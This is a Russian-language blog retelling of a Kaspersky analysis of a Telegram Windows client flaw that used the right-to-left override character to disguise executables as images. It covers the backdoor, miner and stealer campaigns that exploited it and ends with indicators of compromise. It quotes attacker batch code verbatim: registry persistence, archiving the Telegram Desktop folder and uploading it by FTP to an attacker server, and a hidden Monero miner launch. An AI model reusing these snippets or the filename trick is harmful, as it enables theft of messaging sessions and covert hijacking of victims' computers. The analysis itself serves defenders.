Содержание
Довольно интересную статью разместила команда Касперского 13 февраля 2017 года на своем сайте securelist.ru
Дело в том, что об уязвимости нулевого дня они знали еще в октябре 2017. Обычно данные о проблемах в том или ином софте пишут уже после того, как его исправили, мол была такая уязвимость, теперь качайте все обновления. Получается, около 4х месяцев хакеры могли эксплуатировать уязвимость в виндовс-клиенте Telegram. Она заключается в использовании классической атаки right-to-left override при отправке файлов собеседнику.
Right-to-left override в двух словах
Специальный непечатный символ right-to-left override (RLO) служит для изменения порядка следующих за ним в строке знаков на обратный, в таблице Unicode он представлен как ‘U+202E’ (легитимной областью использования RLO, в частности, является набор текста на арабском языке). Атака подразумевает использование символа с целью введения жертвы в заблуждение, чаще всего, при отображении имени и расширения исполняемого файла: уязвимое к этой атаке ПО отображает его имя частично или в перевернутом виде.
![]()
Эту уязвимость опубликовал финский специалист по информационной безопасности Mikko Hypponen еще в июле 2013 года.
Как взламывали Telegram?
Процесс эксплуатации уязвимости с последующим взломом Telegram выглядел следующим образом:
Злоумышленник подготавливает зловред к отправке. Например, JS-файл он переименовывает следующим образом:
evil.js -> photo_high_re*U+202E*gnp.js
Где *U+202E* — RLO символ, который должен заставить Telegram перевернуть оставшиеся символы gnp.js. Обратите внимание, что это — все тот же файл с расширением *.js.
Атакующий отправляет сообщение и вместо JS-файла получатель видит — сюрприз! — PNG-картинку:
![]()
Нажимаем на файл и появляется стандартное уведомление безопасности Виндовс
![]()
ITW эксплуатация
После обнаружения уязвимости, мы начали изучать случаи ее реальной эксплуатации. Среди них можно выделить несколько основных сценариев.
Удаленное управление через Telegram
Данная атака осуществляется с целью получить контроль над системой жертвы путем изучения окружения и установки дополнительных модулей.
![]()
Общая схема атаки
На первой стадии жертве отправляется загрузчик, написанный на .Net и использующий Telegram API в качестве командного протокола:
![]()
Управление компьютерами осуществляется через ботов в телеграм. По токену и API можно определить через каких ботов это делается.
![]()
После запуска прописывает себя в автозапуск и копирует свой исполняемый файл, в зависимости от окружения, в одну из директорий:
![]()
![]()
Перечень возможных команд показывает, что бот может скрытно разворачивать на целевой системе произвольные бэкдоры, логгеры и прочее вредоносное ПО. В таблице представлен их полный список:
![]()
С помощью бота можно установить логгер, который будет шпионить за тем, что происходит на зараженном компьютере.
Майнинг через телеграм
Еще 4 месяца назад это не было фантастикой. Злоумышленники, получившие доступ к компьютеру могли запустить на нем скрипты для майнинга. Понятное дело, что владельцу ПК с этого ни копейки не перепадет.
Способ №1
![]()
На первой стадии используется SFX-архив со сценарием, запускающим содержащийся в нем исполняемый файл:
Path=%temp%\adr
Setup=%temp%\adr\run.exe
Silent=1
Overwrite=2
Этот run.exe, на самом деле — BAT-файл. После извлечения самого batch-скрипта он выглядит так:
![]()
Видно, что первым делом зловред открывает файл-приманку, который в рассматриваемом случае является картинкой, нужной для усыпления бдительности жертвы.
Далее поочередно стартуют майнеры, причем они запускаются как сервисы, с помощью утилиты nssm.exe, упакованной в тот же SFX-архив:
nheq.exe exe — Equihash майнер для NiceHash (в нашем случае добывал Zcash). Может задействовать ресурсы ЦП и графического ускорителя:
![]()
taskmgn.exe — также широко применяющийся майнер, работает по алгоритму CryptoNight, майнит Fantomcoin и Monero. Характерной чертой является строка с путем к отладочному файлу:
![]()
Мы наблюдали несколько вариаций этого batch-скрипта, некоторые из них обладают дополнительными возможностями:
![]()
Этот, например, отключает защитные системы Windows, а после этого авторизуется на FTP-сервере злоумышленников, скачивает и запускает полезную нагрузку. Последняя в данном случае представляла собой SFX-архив, начиненный новыми майнерами и клиентом Remote Manipulator System — аналогом TeamViewer. Используя скрипты AutoIt, зловред разворачивает на атакуемой системе RMS для последующего удаленного доступа:
![]()
Схема атаки примерно такова:
![]()
Мы изучили этот FTP-сервер и нашли еще несколько файлов, представляющих собой аналогичную полезную нагрузку (вероятно, подгружается другими версиями):
![]()
Отдельного упоминания заслуживает файл address4.exe. Он, как и остальные экземпляры, представляет собой SFX-архив со следующим содержанием:
![]()
Все компоненты с именем st*.exe – это исполняемые PE-файлы схожим образом конвертированные из batch-скриптов.
SFX-сценарий запускает компонент st1.exe:
Path=%temp%/adress
Setup=%temp%/adress/st1.exe
Silent=1
Overwrite=2
st1.exe прописывает в автозапуск st2.exe, добавляя соответствующую запись в системный реестр:
reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v RUN1 /d %temp%\adress\st2.exe /f
st2.exe стартует вместе с системой:
TIMEOUT /T 10 /NOBREAK #Ждет, пока запустится Telegram
chcp 1251
tskill telegram
taskkill /IM telegram.exe #Завершает процессы Telegram
md %temp%\sss
cd %temp%\sss #Создает временную директорию
«%temp%\adress\WinRAR.exe» A -ibck -inul -r -agYY-mm-dd-hh-mm-ss «%temp%\sss\1.rar» «%appdata%\Telegram Desktop» #Упаковывает директорию Telegram в RAR-архив
TIMEOUT /T 60 /NOBREAK
:begin
ping -n 1 ya.ru |>nul find /i «TTL=» && (start «» %temp%/adress/st3.exe) || (ping 127.1 -n 2& Goto :begin) #Проверяет подключение к интернету и запускает st3.exe
А st3.exe предсказуемо авторизуется на FTP-сервере злоумышленников и загружает туда созданный ранее RAR-архив:
@echo XXXXXXXX>command.txt
@echo XXXXXXXX>>command.txt
@echo binary>>command.txt
@echo mput %temp%\sss\*.rar>>command.txt
@echo quit>>command.txt
ftp -s:command.txt -i free11.beget.com
del command.txt
attrib %temp%/adress +H
attrib %temp%/adress\* +H
На самом сервере мы обнаружили несколько подобных архивов с директориями Telegram, украденными у жертв:
![]()
Каждый такой дамп, кроме самих исполняемых и служебных файлов клиента Telegram, содержит зашифрованный локальный кэш, состоящий из различных файлов, использованных в переписках: документы, видео и аудиозаписи, фотографии.
Способ №2
![]()
Атака, как и в предыдущем сценарии, начинается с SFX-архива, который при открытии запускает содержащийся внутри VBS-скрипт. Его основная задача – открыть картинку для отвлечения внимания жертвы, а затем скачать и запустить полезную нагрузку:
![]()
Полезная нагрузка представляет из себя SFX-архив со следующим сценарием:
![]()
svchost.vbs — скрипт, контролирующий запуск майнера CryptoNight (csrs.exe), — следит за списком процессов и при обнаружении среди них диспетчера задач (taskmgr.exe, processhacker.exe) завершает процесс майнера с последующим перезапуском (когда диспетчер будет закрыт).
Скрипт снабжен соответствующими комментариями:
![]()
Сам майнер запускается так:
WshShell.Run «csrs.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u XXXXXXXXX@yandex.ru -p x -dbg -1″ & cores, 0
Адрес пула соответствует криптовалюте Monero.
На самом сервере, кроме указанных файлов с полезной нагрузкой, мы нашли аналогичные SFX-архивы с майнерами:
![]()
Заключение
Мы не обладаем точной информацией о том, как долго и в каких версиях была открыта уязвимость, но, со своей стороны, можем отметить, что случаи эксплуатации начались в марте 2017 года. Мы уведомили разработчиков о проблеме, и на сегодняшний день уязвимость не проявляется в продуктах Telegram.
Сейчас можно лишь гадать, как много и как именно она эксплуатировалась, так как в публикации рассмотрены только случаи, выявленные в рамках нашей телеметрии.
IoC
MD5
Первая стадия
650DDDE919F9E5B854F8C375D3251C21
C384E62E483896799B38437E53CD9749
FA391BEAAF8B087A332833E618ABC358
52F7B21CCD7B1159908BCAA143E27945
B1760E8581F6745CBFCBE76FBD0ACBFA
A662D942F0E43474984766197288845B
Полезная нагрузка
B9EEC74CA8B14F899837A6BEB7094F65
46B36F8FF2369E883300F472694BBD4D
10B1301EAB4B4A00E7654ECFA6454B20
CD5C5423EC3D19E864B2AE1C1A9DDBBC
7A3D9C0E2EA27F1B96AEFED2BF8971A4
E89FDDB32D7EC98B3B68AB7681FACCFC
27DDD96A87FBA2C15B5C971BA6EB80C6
844825B1336405DDE728B993C6B52A83
C6A795C27DEC3F5559FD65884457F6F3
89E42CB485D65F71F62BC1B64C6BEC95
0492C336E869A14071B1B0EF613D9899
2CC9ECD5566C921D3876330DFC66FC02
1CE28167436919BD0A8C1F47AB1182C4
C2
http://nord.adr[.]com[.]ua/
Имена
name?gpj.exe
name?gpj.rar
address?gpj.scr
address_?gpj.scr
photoadr?gepj.scr
источник описанных схем: securelist.ru